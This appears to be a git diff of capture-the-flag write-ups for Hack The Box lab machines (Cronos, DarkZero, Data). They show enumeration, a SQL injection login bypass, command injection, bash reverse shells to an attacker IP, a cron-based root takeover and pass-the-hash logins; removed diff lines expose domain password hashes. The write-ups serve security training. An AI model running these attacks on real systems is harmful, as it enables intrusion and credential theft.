laravel_session=eyJpdiI6IkpBVFwvVlhCRlBWRFFUVkx5dHlPVm5RPT0iLCJ2YWx1ZSI6IjF2RXlLcTJ5MVE5VTFOV0oxZmtqOWZcL1JnMU4yZ0NjWm1xV3ErSklaY2dJeXNzM3JWWURTM3czVDJRSkhmOHJsaHBKdExxVnNcL1M4WkdpUWRRWDkyZmc9PSIsIm -1hYyI6IjVkZmE0ZWJjMzY2YTcwMTI0MjRlNDM0MzAwOTQ3YzE3YjNkYTRhYTc2N2VmMjFlYTk1NzIzMThiZDA5NDk0NDUifQ%3D%3D; expires=Thu, 28-May-2026 13:52:30 GMT; Max-Age=7200; path=/; HttpOnly -Content-Type: text/html; charset=UTF-8 - ->  ffuf -u "http://cronos.htb/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -fc 404 - -       /'___\  /'___\           /___\         -      /\ \__/ /\ \__/  __  __  /\ \__/         -      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\        -       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/        -        \ \_\   \ \_\  \ \____/  \ \_\         -         \/_/    \/_/   \/___/    \/_/         - -      v2.1.0-dev -________________________________________________ - -:: Method           : GET -:: URL              : http://cronos.htb/FUZZ -:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -:: Follow redirects : false -:: Calibration      : false -:: Timeout          : 10 -:: Threads          : 40 -:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500 -:: Filter           : Response status: 404 -________________________________________________ - -js                      [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 484ms] -css                     [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 4498ms] -server-status           [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 60ms] -:: Progress: [56162/56162] :: Job [1/1] :: 414 req/sec :: Duration: [0:02:18] :: Errors: 0 :: -``` - -We continue looking for domains : - -```bash ->  curl -s http://cronos.htb:80/robots.txt -User-agent: * -Disallow: - ->  ffuf -u "http://cronos.htb:80/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -fs 404 - -       /'___\  /'___\           /___\         -      /\ \__/ /\ \__/  __  __  /\ \__/         -      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\        -       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/        -        \ \_\   \ \_\  \ \____/  \ \_\         -         \/_/    \/_/   \/___/    \/_/         - -      v2.1.0-dev -________________________________________________ - -:: Method           : GET -:: URL              : http://cronos.htb:80/FUZZ -:: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -:: Follow redirects : false -:: Calibration      : false -:: Timeout          : 10 -:: Threads          : 40 -:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500 -:: Filter           : Response size: 404 -________________________________________________ - -index.php               [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 140ms] -favicon.ico             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 260ms] -.htaccess               [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 63ms] -web.config              [Status: 200, Size: 914, Words: 209, Lines: 24, Duration: 120ms] -robots.txt              [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 70ms] -.html                   [Status: 403, Size: 290, Words: 22, Lines: 12, Duration: 77ms] -.php                    [Status: 403, Size: 289, Words: 22, Lines: 12, Duration: 233ms] -.htpasswd               [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 92ms] -.htm                    [Status: 403, Size: 289, Words: 22, Lines: 12, Duration: 93ms] -.htpasswds              [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 101ms] -.htgroup                [Status: 403, Size: 293, Words: 22, Lines: 12, Duration: 82ms] -wp-forum.phps           [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 79ms] -.htaccess.bak           [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 78ms] -.htuser                 [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 68ms] -:: Progress: [10848/10848] :: Job [1/1] :: 526 req/sec :: Duration: [0:00:28] :: Errors: 0 :: - ->  curl -sL http://cronos.htb:80/web.config - -  -    -      -        -          -          -            -          -          -        -        -          -          -            -            -          -          -        -      -    -  - -``` - -Since `wp-forums.php` is `403` I doubt we can `curl` it but might as well try : - -```bash ->  curl -sS http://cronos.htb:80/wp-forums.phps - - -403 Forbidden - -

Forbidden

-

You don't have permission to access /wp-forums.phps -on this server.
-

-
-
Apache/2.4.18 (Ubuntu) Server at cronos.htb Port 80
- -``` - -And it's forbidden. - -We pivot to the `53/tcp` DNS port, to see if there are any misconfigurations : - -```bash ->  dig axfr @10.129.4.148 cronos.htb - - -; <<>> DiG 9.20.23 <<>> axfr @10.129.4.148 cronos.htb -; (1 server found) -;; global options: +cmd -cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 -cronos.htb.             604800  IN      NS      ns1.cronos.htb. -cronos.htb.             604800  IN      A       10.10.10.13 -admin.cronos.htb.       604800  IN      A       10.10.10.13 -ns1.cronos.htb.         604800  IN      A       10.10.10.13 -www.cronos.htb.         604800  IN      A       10.10.10.13 -cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 -;; Query time: 67 msec -;; SERVER: 10.129.4.148#53(10.129.4.148) (TCP) -;; WHEN: Thu May 28 14:10:20 CEST 2026 -;; XFR size: 7 records (messages 1, bytes 203) -``` - -We've got a bunch of subdomains. - -```bash ->  echo "10.129.4.148 cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb" | sudo tee -a /etc/hosts -Please touch the FIDO authenticator. -10.129.4.148 cronos.htb admin.cronos.htb ns1.cronos.htb www.cronos.htb - ->  curl -sI admin.cronos.htb -HTTP/1.1 200 OK -Date: Thu, 28 May 2026 12:12:33 GMT -Server: Apache/2.4.18 (Ubuntu) -Set-Cookie: PHPSESSID=qd3ha1s6s7j98663ebqs4l00l5; path=/ -Expires: Thu, 19 Nov 1981 08:52:00 GMT -Cache-Control: no-store, no-cache, must-revalidate -Pragma: no-cache -Content-Type: text/html; charset=UTF-8 -``` - -And we got a PHPSESSID from the `admin` subdomain. - -We go on the webpage, and we are greeted with a login page. - -We try an SQLi : `' OR 1=1 --`, `admin'--`, didn't work. -But we try `admin'#` and it works. - -We arrive at `http://admin.cronos.htb/welcome.php` where we get a traceroute. -We'll get it straight to our tun VPN IP with a listener on port 80 : - -```bash ->  sudo nc -lvnp 80 -Please touch the FIDO authenticator. -Listening on 0.0.0.0 80 -``` - -The listener receives nothing. We ping, the website says : - -We ping our tun VPN IP on the website and it says : -`PING 10.10.14.12 (10.10.14.12) 56(84) bytes of data. -`64 bytes from 10.10.14.12: icmp_seq=1 ttl=63 time=64.7 ms` -`1 packets transmitted, 1 received, 0% packet loss, time 0ms -`rtt min/avg/max/mdev = 64.712/64.712/64.712/0.000 ms` - -But the listener stays still. - -We traceroute to the machine's IP which is home (127.0.0.1) and ask for id with `127.0.0.1; id` and it gives us : `uid=33(www-data) gid=33(www-data) groups=33(www-data)` -`whoami` gives us `www-data` - -I'll stop the listener on port 80 and start listening on port 4444 : - -```bash ->  nc -lvnp 4444 - -Listening on 0.0.0.0 4444 -``` - -Then, on the web application, I'll use Remote Code Execution to bring - -```bash -127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.10.14.12/4444 0>&1' -``` - -``` -Connection received on 10.129.4.148 47184 -bash: cannot set terminal process group (1376): Inappropriate ioctl for device -bash: no job control in this shell -www-data@cronos:/var/www/admin$ whoami -``` -```bash -www-data@cronos:/var/www/admin$ find /home -name user.txt -find /home -name user.txt -/home/noulis/user.txt -www-data@cronos:/var/www/admin$ cd /home/noulis -cd /home/noulis -www-data@cronos:/home/noulis$ cat user.txt -cat user.txt -78e7*****************4cbe325 -``` - -Since its name is Cronos, we can infer that the privesc is about cronjobs. - -```bash -www-data@cronos:/var/www/admin$ cat /etc/crontab -cat /etc/crontab -# /etc/crontab: system-wide crontab -# Unlike any other crontab you don't have to run the `crontab' -# command to install the new version when you edit this file -# and files in /etc/cron.d. These files also have username fields, -# that none of the other crontabs do. - -SHELL=/bin/sh -PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin - -# m h dom mon dow user  command -17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly -25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) -47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) -52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) -* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 - -www-data@cronos:/var/www/admin$ ls -la /etc/cron* -ls -la /etc/cron* --rw-r--r-- 1 root root  797 Apr  9  2017 /etc/crontab - -/etc/cron.d: -total 24 -drwxr-xr-x  2 root root 4096 May 10  2022 . -drwxr-xr-x 95 root root 4096 Jun 17  2022 .. --rw-r--r--  1 root root  102 Apr  6  2016 .placeholder --rw-r--r--  1 root root  589 Jul 16  2014 mdadm --rw-r--r--  1 root root  670 Mar  1  2016 php --rw-r--r--  1 root root  191 Mar 22  2017 popularity-contest - -/etc/cron.daily: -total 60 -drwxr-xr-x  2 root root 4096 May 10  2022 . -drwxr-xr-x 95 root root 4096 Jun 17  2022 .. --rw-r--r--  1 root root  102 Apr  6  2016 .placeholder --rwxr-xr-x  1 root root  539 Apr  6  2016 apache2 --rwxr-xr-x  1 root root  376 Mar 31  2016 apport --rwxr-xr-x  1 root root 1474 Jan 17  2017 apt-compat --rwxr-xr-x  1 root root  355 May 22  2012 bsdmainutils --rwxr-xr-x  1 root root 1597 Nov 27  2015 dpkg --rwxr-xr-x  1 root root  372 May  6  2015 logrotate --rwxr-xr-x  1 root root 1293 Nov  6  2015 man-db --rwxr-xr-x  1 root root  539 Jul 16  2014 mdadm --rwxr-xr-x  1 root root  435 Nov 18  2014 mlocate --rwxr-xr-x  1 root root  249 Nov 13  2015 passwd --rwxr-xr-x  1 root root 3449 Feb 26  2016 popularity-contest --rwxr-xr-x  1 root root  214 May 24  2016 update-notifier-common - -/etc/cron.hourly: -total 12 -drwxr-xr-x  2 root root 4096 May 10  2022 . -drwxr-xr-x 95 root root 4096 Jun 17  2022 .. --rw-r--r--  1 root root  102 Apr  6  2016 .placeholder - -/etc/cron.monthly: -total 12 -drwxr-xr-x  2 root root 4096 May 10  2022 . -drwxr-xr-x 95 root root 4096 Jun 17  2022 .. --rw-r--r--  1 root root  102 Apr  6  2016 .placeholder - -/etc/cron.weekly: -total 24 -drwxr-xr-x  2 root root 4096 May 10  2022 . -drwxr-xr-x 95 root root 4096 Jun 17  2022 .. --rw-r--r--  1 root root  102 Apr  6  2016 .placeholder --rwxr-xr-x  1 root root   86 Apr 13  2016 fstrim --rwxr-xr-x  1 root root  771 Nov  6  2015 man-db --rwxr-xr-x  1 root root  211 May 24  2016 update-notifier-common -``` - -Since `cronos.htb` was all about the `laravel` github and VPS, we will target it : - -```bash -www-data@cronos:/var/www/admin$ ls -la /var/www/laravel/artisan -ls -la /var/www/laravel/artisan --rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan -www-data@cronos:/var/www/admin$ file /var/www/laravel/artisan -file /var/www/laravel/artisan -/var/www/laravel/artisan: a /usr/bin/env php script, ASCII text executable -``` - -We see we have a `/usr/bin/env` php script. - -I open a `python http.server` : - -```bash ->  python3 -m http.server 8000 - -Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... -``` - -We create a `shell.php` script : - -```bash -cat > /tmp/shell.php << 'EOF' - -& /dev/tcp/10.10.14.12/4444 0>&1'"); - -?> - -EOF -``` - -Then, we transfer it on the target : - -```bash -www-data@cronos:/$ cp /tmp/shell.php /var/www/laravel/artisan -cp /tmp/shell.php /var/www/laravel/artisan -``` - -We open a listener : - -```bash ->  nc -lvnp 4444 -Listening on 0.0.0.0 4444 -``` - -Verify the frequency of cronjobs : - -```bash -grep -v '^#' /etc/crontab | grep -v '^$' -SHELL=/bin/sh -PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin -17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly -25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) -47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) -52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) -* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 -``` - -After awhile, we receive the reverse shell through the cronjob executing the php script : - -```bash ->  nc -lvnp 4444 -Listening on 0.0.0.0 4444 -Connection received on 10.129.4.148 47212 -bash: cannot set terminal process group (4074): Inappropriate ioctl for device -bash: no job control in this shell -root@cronos:~# cat /root/root.txt -cat /root/root.txt -5003f0***********ee0d9c3 -``` - -And we get the root flag ! diff --git a/DarkZero [HARD].md b/DarkZero [HARD].md index 5677b68..c567c71 100644 --- a/DarkZero [HARD].md +++ b/DarkZero [HARD].md @@ -936,7 +936,7 @@ Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Trying to get TGT... [*] Got TGT [*] Trying to retrieve NT hash for 'svc_sql' -[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f +[*] Got hash for 'svc_sql@darkzero.ext': [REDACTED] ``` Then we use `Impacket` : @@ -950,50 +950,50 @@ Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies   [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets -Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7::: -john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b::: -DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a::: -darkzero-ext$:2602:aad3b435b51404eeaad3b435b51404ee:caad6b118b860dbe0296c51399170b62::: +Administrator:500:[REDACTED]::: +Guest:501:[REDACTED]::: +krbtgt:502:[REDACTED]::: +john.w:2603:[REDACTED]::: +DC01$:1000:[REDACTED]::: +darkzero-ext$:2602:[REDACTED]::: [*] Kerberos keys grabbed -Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd -Administrator:0x13:a23315d970fe9d556be03ab611730673 -Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd -Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362 -Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726 -krbtgt:aes256-cts-hmac-sha1-96:6330aee12ac37e9c42bc9af3f1fec55d7755c31d70095ca1927458d216884d41 -krbtgt:aes128-cts-hmac-sha1-96:0ffbe626519980a499cb85b30e0b80f3 -krbtgt:0x17:64f4771e4c60b8b176c3769300f6f3f7 -john.w:0x14:f6d74915f051ef9c1c085d31f02698c04a4c6804d509b7c4442e8593d6d957ea -john.w:0x13:7b145a89aed458eaea530a2bd1eb93bd -john.w:aes256-cts-hmac-sha1-96:49a6d3404e9d19859c0eea1036f6e95debbdea99efea4e2c11ee529add37717e -john.w:aes128-cts-hmac-sha1-96:87d9cbd84d85c50904eba39d588e47db -john.w:0x17:44b1b5623a1446b5831a7b3a4be3977b -DC01$:aes256-cts-hmac-sha1-96:25e1e7b4219c9b414726983f0f50bbf28daa11dd4a24eed82c451c4d763c9941 -DC01$:aes128-cts-hmac-sha1-96:9996363bffe713a6777597c876d4f9db -DC01$:0x17:d02e3fe0986e9b5f013dad12b2350b3a -darkzero-ext$:aes256-cts-hmac-sha1-96:212c8881bc0c28e6a68cca9c3a258a77958fca32137de64fd8d7bb1941bc0799 -darkzero-ext$:aes128-cts-hmac-sha1-96:1ab56d98beb199861b4a206815047deb -darkzero-ext$:0x17:caad6b118b860dbe0296c51399170b62 +Administrator:0x14:[REDACTED] +Administrator:0x13:[REDACTED] +Administrator:aes256-cts-hmac-sha1-96:[REDACTED] +Administrator:aes128-cts-hmac-sha1-96:[REDACTED] +Administrator:0x17:[REDACTED] +krbtgt:aes256-cts-hmac-sha1-96:[REDACTED] +krbtgt:aes128-cts-hmac-sha1-96:[REDACTED] +krbtgt:0x17:[REDACTED] +john.w:0x14:[REDACTED] +john.w:0x13:[REDACTED] +john.w:aes256-cts-hmac-sha1-96:[REDACTED] +john.w:aes128-cts-hmac-sha1-96:[REDACTED] +john.w:0x17:[REDACTED] +DC01$:aes256-cts-hmac-sha1-96:[REDACTED] +DC01$:aes128-cts-hmac-sha1-96:[REDACTED] +DC01$:0x17:[REDACTED] +darkzero-ext$:aes256-cts-hmac-sha1-96:[REDACTED] +darkzero-ext$:aes128-cts-hmac-sha1-96:[REDACTED] +darkzero-ext$:0x17:[REDACTED] [*] Cleaning up... ``` We have the `Admin hash` : ```bash -aad3b435b51**********************b0a869a1cba40726 +[REDACTED] ``` ```bash ->  nxc winrm 10.129.20.89 -u Administrator -H '5917507bdf2ef2c2b0a869a1cba40726' +>  nxc winrm 10.129.20.89 -u Administrator -H '[REDACTED]' WINRM       10.129.20.89    5985   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:darkzero.htb)   -WINRM       10.129.20.89    5985   DC01             [+] darkzero.htb\Administrator:5917507bdf2ef2c2b0a869a1cba40726 (Pwn3d!) +WINRM       10.129.20.89    5985   DC01             [+] darkzero.htb\Administrator:[REDACTED] (Pwn3d!) ``` So we can get a shell : ```bash ->  evil-winrm -i 10.129.20.89 -u Administrator -H 5917507bdf2ef2c2b0a869a1cba40726 +>  evil-winrm -i 10.129.20.89 -u Administrator -H [REDACTED] /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems /usr/share/evil-winrm/vendor/bundle/ruby/3.4.0/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems /usr/lib/ruby/3.4.0/readline.rb:4: warning: reline was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 4.0.0. @@ -1007,7 +1007,7 @@ Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay                                          Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt -53584***************aced9 +[REDACTED] ``` -And we got root. +And we got root. \ No newline at end of file diff --git a/Data [EASY].md b/Data [EASY].md deleted file mode 100644 index 43fa95f..0000000 --- a/Data [EASY].md +++ /dev/null @@ -1,1677 +0,0 @@ -Target : 10.129.234.47 - -Date : 21/05/2026 - -```bash ->  sudo echo "10.129.234.47 data.htb" | sudo tee -a /etc/hosts -Please touch the FIDO authenticator. -10.129.234.47 data.htb ->  nmap -Pn -sS -sV -sC -O -p- --min-rate=3000 -T4 10.129.234.47 -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 09:31 +0200 -Warning: 10.129.234.47 giving up on port because retransmission cap hit (6). -Nmap scan report for data.htb (10.129.234.47) -Host is up (0.49s latency). -Not shown: 64735 closed tcp ports (reset), 798 filtered tcp ports (no-response) -PORT     STATE SERVICE VERSION -22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey:   -|   2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA) -|   256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA) -|_  256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519) -3000/tcp open  http    Grafana http -| http-title: Grafana -|_Requested resource was /login -| http-robots.txt: 1 disallowed entry   -|_/ -|_http-trane-info: Problem with XML parsing of /evox/about -Device type: general purpose -Running: Linux 5.X -OS CPE: cpe:/o:linux:linux_kernel:5 -OS details: Linux 5.0 - 5.14 -Network Distance: 2 hops -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 150.01 seconds -``` - -I then did a UDP scan, a TCP ACK scan and a TCP SYN scan : - -```bash ->  sudo nmap -Pn -PU -p 22,3000 10.129.234.47 -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 09:35 +0200 -Nmap scan report for data.htb (10.129.234.47) -Host is up (0.14s latency). - -PORT     STATE SERVICE -22/tcp   open  ssh -3000/tcp open  ppp - -Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds ->  sudo nmap -Pn -PA -p 22,3000 10.129.234.47 -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 09:35 +0200 -Nmap scan report for data.htb (10.129.234.47) -Host is up (0.058s latency). - -PORT     STATE SERVICE -22/tcp   open  ssh -3000/tcp open  ppp - -Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds ->  sudo nmap -Pn -PS -p 22,3000 10.129.234.47 -Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 09:35 +0200 -Nmap scan report for data.htb (10.129.234.47) -Host is up (0.064s latency). - -PORT     STATE SERVICE -22/tcp   open  ssh -3000/tcp open  ppp - -Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds -``` - -We can see that there are only two open ports : 22 and 3000. - -```bash ->  curl -s http://data.htb:3000/robots.txt - -User-agent: * -Disallow: / -``` - -Since the port 3000 (Grafana) didn't give us its version, we'll search for it ourselves : - -```bash ->  curl -sL -D- http://data.htb:3000/login -o /tmp/data-grafana-login.html | head -30 -HTTP/1.1 200 OK -Cache-Control: no-cache -Content-Type: text/html; charset=UTF-8 -Expires: -1 -Pragma: no-cache -X-Content-Type-Options: nosniff -X-Frame-Options: deny -X-Xss-Protection: 1; mode=block -Date: Thu, 21 May 2026 07:57:08 GMT -Transfer-Encoding: chunked - ->  grep -iE 'grafana|version' /tmp/data-grafana-login.html | head -20 - -   Grafana -    -    -  -       background-image: url("data:image/svg+xml,%3csvg version='1.1' id='Layer_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x='0px' y='0px' width='351px' height='365px' vie -wBox='0 0 351 365' style='enable-background:new 0 0 351 365%3b' xml:space='preserve'%3e %3cstyle type='text/css'%3e .st0%7bfill:url(%23SVGID_1_)%3b%7d %3c/style%3e %3cg id='Layer_1_1_'%3e %3c/g%3e %3clinearGrad -ient id='SVGID_1_' gradientUnits='userSpaceOnUse' x1='175.5' y1='445.4948' x2='175.5' y2='114.0346'%3e %3cstop offset='0' style='stop-color:%23FFF100'/%3e %3cstop offset='1' style='stop-color:%23F05A28'/%3e %3c -/linearGradient%3e %3cpath class='st0' d='M342%2c161.2c-0.6-6.1-1.6-13.1-3.6-20.9c-2-7.7-5-16.2-9.4-25c-4.4-8.8-10.1-17.9-17.5-26.8 c-2.9-3.5-6.1-6.9-9.5-10.2c5.1-20.3-6.2-37.9-6.2-37.9c-19.5-1.2-31.9%2c6.1-36. -5%2c9.4c-0.8-0.3-1.5-0.7-2.3-1 c-3.3-1.3-6.7-2.6-10.3-3.7c-3.5-1.1-7.1-2.1-10.8-3c-3.7-0.9-7.4-1.6-11.2-2.2c-0.7-0.1-1.3-0.2-2-0.3 c-8.5-27.2-32.9-38.6-32.9-38.6c-27.3%2c17.3-32.4%2c41.5-32.4%2c41.5s-0.1%2c0.5- -0.3%2c1.4c-1.5%2c0.4-3%2c0.9-4.5%2c1.3c-2.1%2c0.6-4.2%2c1.4-6.2%2c2.2 c-2.1%2c0.8-4.1%2c1.6-6.2%2c2.5c-4.1%2c1.8-8.2%2c3.8-12.2%2c6c-3.9%2c2.2-7.7%2c4.6-11.4%2c7.1c-0.5-0.2-1-0.4-1-0.4c-37.8-14.4-71.3%2c2.9-71. -3%2c2.9 c-3.1%2c40.2%2c15.1%2c65.5%2c18.7%2c70.1c-0.9%2c2.5-1.7%2c5-2.5%2c7.5c-2.8%2c9.1-4.9%2c18.4-6.2%2c28.1c-0.2%2c1.4-0.4%2c2.8-0.5%2c4.2 C18.8%2c192.7%2c8.5%2c228%2c8.5%2c228c29.1%2c33.5%2c63.1%2c35.6%2c63 -.1%2c35.6c0%2c0%2c0.1-0.1%2c0.1-0.1c4.3%2c7.7%2c9.3%2c15%2c14.9%2c21.9c2.4%2c2.9%2c4.8%2c5.6%2c7.4%2c8.3 c-10.6%2c30.4%2c1.5%2c55.6%2c1.5%2c55.6c32.4%2c1.2%2c53.7-14.2%2c58.2-17.7c3.2%2c1.1%2c6.5%2c2.1%2c9.8%2c -2.9c10%2c2.6%2c20.2%2c4.1%2c30.4%2c4.5 c2.5%2c0.1%2c5.1%2c0.2%2c7.6%2c0.1l1.2%2c0l0.8%2c0l1.6%2c0l1.6-0.1l0%2c0.1c15.3%2c21.8%2c42.1%2c24.9%2c42.1%2c24.9c19.1-20.1%2c20.2-40.1%2c20.2-44.4l0%2c0 c0%2c0%2c0-0.1%2 -c0-0.3c0-0.4%2c0-0.6%2c0-0.6l0%2c0c0-0.3%2c0-0.6%2c0-0.9c4-2.8%2c7.8-5.8%2c11.4-9.1c7.6-6.9%2c14.3-14.8%2c19.9-23.3 c0.5-0.8%2c1-1.6%2c1.5-2.4c21.6%2c1.2%2c36.9-13.4%2c36.9-13.4c-3.6-22.5-16.4-33.5-19.1-35.6l0% -2c0c0%2c0-0.1-0.1-0.3-0.2 c-0.2-0.1-0.2-0.2-0.2-0.2c0%2c0%2c0%2c0%2c0%2c0c-0.1-0.1-0.3-0.2-0.5-0.3c0.1-1.4%2c0.2-2.7%2c0.3-4.1c0.2-2.4%2c0.2-4.9%2c0.2-7.3l0-1.8l0-0.9 l0-0.5c0-0.6%2c0-0.4%2c0-0.6l-0.1-1.5l-0.1- -2c0-0.7-0.1-1.3-0.2-1.9c-0.1-0.6-0.1-1.3-0.2-1.9l-0.2-1.9l-0.3-1.9 c-0.4-2.5-0.8-4.9-1.4-7.4c-2.3-9.7-6.1-18.9-11-27.2c-5-8.3-11.2-15.6-18.3-21.8c-7-6.2-14.9-11.2-23.1-14.9 c-8.3-3.7-16.9-6.1-25.5-7.2c-4.3-0.6- -8.6-0.8-12.9-0.7l-1.6%2c0l-0.4%2c0c-0.1%2c0-0.6%2c0-0.5%2c0l-0.7%2c0l-1.6%2c0.1c-0.6%2c0-1.2%2c0.1-1.7%2c0.1 c-2.2%2c0.2-4.4%2c0.5-6.5%2c0.9c-8.6%2c1.6-16.7%2c4.7-23.8%2c9c-7.1%2c4.3-13.3%2c9.6-18.3%2c15.6c-5%2 -c6-8.9%2c12.7-11.6%2c19.6c-2.7%2c6.9-4.2%2c14.1-4.6%2c21 c-0.1%2c1.7-0.1%2c3.5-0.1%2c5.2c0%2c0.4%2c0%2c0.9%2c0%2c1.3l0.1%2c1.4c0.1%2c0.8%2c0.1%2c1.7%2c0.2%2c2.5c0.3%2c3.5%2c1%2c6.9%2c1.9%2c10.1c1.9%2c6.5%2c4.9% -2c12.4%2c8.6%2c17.4 c3.7%2c5%2c8.2%2c9.1%2c12.9%2c12.4c4.7%2c3.2%2c9.8%2c5.5%2c14.8%2c7c5%2c1.5%2c10%2c2.1%2c14.7%2c2.1c0.6%2c0%2c1.2%2c0%2c1.7%2c0c0.3%2c0%2c0.6%2c0%2c0.9%2c0c0.3%2c0%2c0.6%2c0%2c0.9-0.1 c0.5%2 -c0%2c1-0.1%2c1.5-0.1c0.1%2c0%2c0.3%2c0%2c0.4-0.1l0.5-0.1c0.3%2c0%2c0.6-0.1%2c0.9-0.1c0.6-0.1%2c1.1-0.2%2c1.7-0.3c0.6-0.1%2c1.1-0.2%2c1.6-0.4 c1.1-0.2%2c2.1-0.6%2c3.1-0.9c2-0.7%2c4-1.5%2c5.7-2.4c1.8-0.9%2c3.4-2% -2c5-3c0.4-0.3%2c0.9-0.6%2c1.3-1c1.6-1.3%2c1.9-3.7%2c0.6-5.3 c-1.1-1.4-3.1-1.8-4.7-0.9c-0.4%2c0.2-0.8%2c0.4-1.2%2c0.6c-1.4%2c0.7-2.8%2c1.3-4.3%2c1.8c-1.5%2c0.5-3.1%2c0.9-4.7%2c1.2c-0.8%2c0.1-1.6%2c0.2-2.5%2c0.3 -c-0.4%2c0-0.8%2c0.1-1.3%2c0.1c-0.4%2c0-0.9%2c0-1.2%2c0c-0.4%2c0-0.8%2c0-1.2%2c0c-0.5%2c0-1%2c0-1.5-0.1c0%2c0-0.3%2c0-0.1%2c0l-0.2%2c0l-0.3%2c0 c-0.2%2c0-0.5%2c0-0.7-0.1c-0.5-0.1-0.9-0.1-1.4-0.2c-3.7-0.5-7.4-1.6 --10.9-3.2c-3.6-1.6-7-3.8-10.1-6.6c-3.1-2.8-5.8-6.1-7.9-9.9 c-2.1-3.8-3.6-8-4.3-12.4c-0.3-2.2-0.5-4.5-0.4-6.7c0-0.6%2c0.1-1.2%2c0.1-1.8c0%2c0.2%2c0-0.1%2c0-0.1l0-0.2l0-0.5c0-0.3%2c0.1-0.6%2c0.1-0.9 